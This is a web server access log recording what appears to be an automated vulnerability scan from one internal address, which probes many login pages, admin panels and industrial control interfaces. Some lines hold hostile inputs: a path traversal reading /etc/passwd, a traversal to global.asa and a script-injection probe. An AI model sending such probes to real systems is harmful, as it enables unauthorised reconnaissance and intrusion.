[30/Apr/2022:06:29:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /Orion/Login.aspx HTTP/1.1" 196
[30/Apr/2022:06:29:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /lem/index.html HTTP/1.1" 196
[30/Apr/2022:06:29:09 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /Orion/Login.asp HTTP/1.1" 196
[30/Apr/2022:06:29:10 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:11 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /sitemap.xml HTTP/1.1" 196
[30/Apr/2022:06:29:11 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /av-centerd HTTP/1.1" 196
[30/Apr/2022:06:29:11 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /sitemap/sitemap.xml HTTP/1.1" 196
[30/Apr/2022:06:29:12 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /map/sitemap.xml HTTP/1.1" 196
[30/Apr/2022:06:29:13 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /SilverStream HTTP/1.1" 196
[30/Apr/2022:06:29:13 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /SilverStream/Meta/Tables/?access-mode=text HTTP/1.1" 196
[30/Apr/2022:06:29:13 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:14 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /stream/0 HTTP/1.1" 196
[30/Apr/2022:06:29:14 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:14 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /content/88eXbBjcmb.mp3 HTTP/1.0" 196
[30/Apr/2022:06:29:14 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /servlet/com.newatlanta.servletexec.JSP10Servlet HTTP/1.1" 196
[30/Apr/2022:06:29:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /tarantella/cgi-bin/secure/ttawlogin.cgi/?action=bootstrap HTTP/1.1" 196
[30/Apr/2022:06:29:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /servlet/com.newatlanta.servletexec.JSP10Servlet/..%5c..%5cglobal.asa HTTP/1.1" 196
[30/Apr/2022:06:29:15 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /main/login.php?action=login HTTP/1.1" 196
[30/Apr/2022:06:29:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET //wbm/login/ HTTP/1.1" 196
[30/Apr/2022:06:29:17 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.1" -
[30/Apr/2022:06:29:17 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:17 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET /Portal/Portal.mwsl?PriNav=Start HTTP/1.1" 196
[30/Apr/2022:06:29:17 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /Portal/Portal.mwsl?MainSelection=USFW&TabSelection=NONE&ClientArea=/Portal/usfw-login.mwsl&DataFile=NONE&TemplateFile=NONE HTTP/1.1" 196
[30/Apr/2022:06:29:17 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /InitialPage.asp HTTP/1.1" 196
[30/Apr/2022:06:29:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /home.htm HTTP/1.1" 196
[30/Apr/2022:06:29:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.html HTTP/1.1" 196
[30/Apr/2022:06:29:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /home.asp HTTP/1.1" 196
[30/Apr/2022:06:29:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /plc/webvisu.htm HTTP/1.1" 196
[30/Apr/2022:06:29:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /no_such_file_Q1gdAci_.html HTTP/1.1" 196
[30/Apr/2022:06:29:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /html/iscscada.htm HTTP/1.1" 196
[30/Apr/2022:06:29:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /web/signin HTTP/1.1" 196
[30/Apr/2022:06:29:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /main/web/status/ HTTP/1.1" 196
[30/Apr/2022:06:29:23 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:23 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /broadWeb/bwRoot.asp HTTP/1.1" 196
[30/Apr/2022:06:29:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:25 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:25 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /sawmillcl.exe HTTP/1.1" 196
[30/Apr/2022:06:29:26 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /sawmillcl.exe?ho+{COMPLETE_VERSION} HTTP/1.1" 196
[30/Apr/2022:06:29:26 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /sawmill6cl.exe HTTP/1.1" 196
[30/Apr/2022:06:29:26 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /sawmill6cl.exe?ho+{COMPLETE_VERSION} HTTP/1.1" 196
[30/Apr/2022:06:29:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST / HTTP/1.1" -
[30/Apr/2022:06:29:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /?ho+{COMPLETE_VERSION} HTTP/1.1" -
[30/Apr/2022:06:29:28 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /SAPHostControl/?wsdl HTTP/1.1" 196
[30/Apr/2022:06:29:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /sapmc/sapmc.html HTTP/1.1" 196
[30/Apr/2022:06:29:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /search/results.stm HTTP/1.1" 196
[30/Apr/2022:06:29:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /AdminTools/querybuilder/nn.jsp HTTP/1.1" 196
[30/Apr/2022:06:29:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /WebID/IISWebAgentIF.dll?postdata=\"><script>foo</script> HTTP/1.1" 196
[30/Apr/2022:06:29:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /apps/zxtm/login.cgi HTTP/1.1" 196
[30/Apr/2022:06:29:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login HTTP/1.1" 196
[30/Apr/2022:06:29:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login HTTP/1.1" 196
[30/Apr/2022:06:29:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /caucho-status HTTP/1.1" 196
[30/Apr/2022:06:29:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /server-status HTTP/1.1" 196
[30/Apr/2022:06:29:40 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:40 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /vncviewer.jar HTTP/1.1" 196
[30/Apr/2022:06:29:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /names.nsf/view?ReadDesign HTTP/1.1" 196
[30/Apr/2022:06:29:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.html HTTP/1.1" 196
[30/Apr/2022:06:29:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:43 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/authLogin.cgi HTTP/1.1" 196
[30/Apr/2022:06:29:44 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:45 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /photo/lang/ENG.js HTTP/1.1" 196
[30/Apr/2022:06:29:45 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /1651271512/facts/10.18.149.5 HTTP/1.1" 196
[30/Apr/2022:06:29:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /1651271512/certificate/10.18.149.5 HTTP/1.1" 196
[30/Apr/2022:06:29:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /v2.0/environments/10.18.149.5 HTTP/1.1" 196
[30/Apr/2022:06:29:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /puppet-ca/v1/certificate/10.18.149.5 HTTP/1.1" 196
[30/Apr/2022:06:29:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /puppet/v3/facts/10.18.149.5 HTTP/1.1" 196
[30/Apr/2022:06:29:47 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:47 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cas/login HTTP/1.1" 196
[30/Apr/2022:06:29:48 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /auth/login HTTP/1.1" 196
[30/Apr/2022:06:29:48 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:49 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/printenv HTTP/1.1" 294
[30/Apr/2022:06:29:49 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login HTTP/1.1" 196
[30/Apr/2022:06:29:51 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:52 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/pdesk.cgi?lang=../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[30/Apr/2022:06:29:58 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:58 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET //perl?-v HTTP/1.1" 196
[30/Apr/2022:06:29:58 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET //perl.exe?-v HTTP/1.1" 196
[30/Apr/2022:06:29:59 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:59 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /html/en/index.htm HTTP/1.1" 196
[30/Apr/2022:06:30:00 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:00 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login HTTP/1.1" 196
[30/Apr/2022:06:30:01 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:01 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /PAN_help/en/wwhelp/wwhimpl/common/private/title.js HTTP/1.1" 196
[30/Apr/2022:06:30:01 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login.htm HTTP/1.1" 196
[30/Apr/2022:06:30:02 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /exchweb/bin/auth/owalogon.asp?url=http://12345678910 HTTP/1.1" 196
[30/Apr/2022:06:30:02 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:03 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /otrs/index.pl HTTP/1.1" 196
[30/Apr/2022:06:30:03 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:04 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ossim/session/login.php HTTP/1.1" 196
[30/Apr/2022:06:30:04 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:05 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /av/api/1.0/system/local/tasks HTTP/1.1" 196
[30/Apr/2022:06:30:05 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:06 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /.DS_Store HTTP/1.1" 196
[30/Apr/2022:06:30:06 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ws_utc/login.do HTTP/1.1" 196
[30/Apr/2022:06:30:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /wls_utc/ HTTP/1.1" 196
[30/Apr/2022:06:30:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cs/idcplg?IdcService=GET_ENVIRONMENT&IsJson=1 HTTP/1.1" 196
[30/Apr/2022:06:30:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /idc/idcplg?IdcService=GET_ENVIRONMENT&IsJson=1 HTTP/1.1" 196
[30/Apr/2022:06:30:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET //idcplg?IdcService=GET_ENVIRONMENT&IsJson=1 HTTP/1.1" 196
[30/Apr/2022:06:30:11 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:12 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /web-determinations/?CookieSet=true HTTP/1.1" 196
[30/Apr/2022:06:30:12 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:13 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:14 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:14 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /sgdadmin/faces/jsp/Version.jsp HTTP/1.1" 196
[30/Apr/2022:06:30:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /portal/page/portal/Design_Time_PG/Welcome HTTP/1.1" 196
[30/Apr/2022:06:30:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /page/portal/Design_Time_PG/Welcome HTTP/1.1" 196
[30/Apr/2022:06:30:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /portal/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW HTTP/1.1" 196
[30/Apr/2022:06:30:17 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /portal/pls/portal/DEV_PORTAL_DEMO.ORG_CHART.SHOW HTTP/1.1" 196
[30/Apr/2022:06:30:17 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /portal/pls/portal/DEV1_PORTAL_DEMO.ORG_CHART.SHOW HTTP/1.1" 196
[30/Apr/2022:06:30:17 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /portal/pls/portal/DEV2_PORTAL_DEMO.ORG_CHART.SHOW HTTP/1.1" 196
[30/Apr/2022:06:30:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /portal/pls/portal/DEV3_PORTAL_DEMO.ORG_CHART.SHOW HTTP/1.1" 196
[30/Apr/2022:06:30:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /portal/pls/portal/DEV4_PORTAL_DEMO.ORG_CHART.SHOW HTTP/1.1" 196
[30/Apr/2022:06:30:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /portal/pls/portal/DEV5_PORTAL_DEMO.ORG_CHART.SHOW HTTP/1.1" 196
[30/Apr/2022:06:30:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /portal/pls/portal/DEV6_PORTAL_DEMO.ORG_CHART.SHOW HTTP/1.1" 196
[30/Apr/2022:06:30:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /portal/pls/portal/DEV7_PORTAL_DEMO.ORG_CHART.SHOW HTTP/1.1" 196
[30/Apr/2022:06:30:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /portal/pls/portal/DEV8_PORTAL_DEMO.ORG_CHART.SHOW HTTP/1.1" 196
[30/Apr/2022:06:30:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /portal/pls/portal/DEV9_PORTAL_DEMO.ORG_CHART.SHOW HTTP/1.1" 196
[30/Apr/2022:06:30:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /pls/portal/PORTAL_DEMO.ORG_CHART.SHOW HTTP/1.1" 196
[30/Apr/2022:06:30:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /gateway/login HTTP/1.1" 196
[30/Apr/2022:06:30:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /pls/portal/DEV_PORTAL_DEMO.ORG_CHART.SHOW HTTP/1.1" 196
[30/Apr/2022:06:30:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /pls/portal/DEV1_PORTAL_DEMO.ORG_CHART.SHOW HTTP/1.1" 196
[30/Apr/2022:06:30:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /pls/portal/DEV2_PORTAL_DEMO.ORG_CHART.SHOW HTTP/1.1" 196
[30/Apr/2022:06:30:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /pls/portal/DEV3_PORTAL_DEMO.ORG_CHART.SHOW HTTP/1.1" 196
[30/Apr/2022:06:30:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /mapviewer/omserver?getv=t HTTP/1.1" 196
[30/Apr/2022:06:30:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /pls/portal/DEV4_PORTAL_DEMO.ORG_CHART.SHOW HTTP/1.1" 196
[30/Apr/2022:06:30:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /pls/portal/DEV5_PORTAL_DEMO.ORG_CHART.SHOW HTTP/1.1" 196
[30/Apr/2022:06:30:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /pls/portal/DEV6_PORTAL_DEMO.ORG_CHART.SHOW HTTP/1.1" 196
[30/Apr/2022:06:30:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /pls/portal/DEV7_PORTAL_DEMO.ORG_CHART.SHOW HTTP/1.1" 196
[30/Apr/2022:06:30:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /pls/portal/DEV8_PORTAL_DEMO.ORG_CHART.SHOW HTTP/1.1" 196
[30/Apr/2022:06:30:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /pls/portal/DEV9_PORTAL_DEMO.ORG_CHART.SHOW HTTP/1.1" 196
[30/Apr/2022:06:30:23 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:23 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /dndirector/dashboard/Show.dn HTTP/1.1" 196
[30/Apr/2022:06:30:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /dndirector HTTP/1.1" 196
[30/Apr/2022:06:30:25 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:25 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /btmui/ HTTP/1.1" 196
[30/Apr/2022:06:30:25 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /apex/f?p=nessuscheck HTTP/1.1" 196
[30/Apr/2022:06:30:26 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /pls/apex/f?p=nessuscheck HTTP/1.1" 196
[30/Apr/2022:06:30:26 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:26 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/luci HTTP/1.1" 196
[30/Apr/2022:06:30:26 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
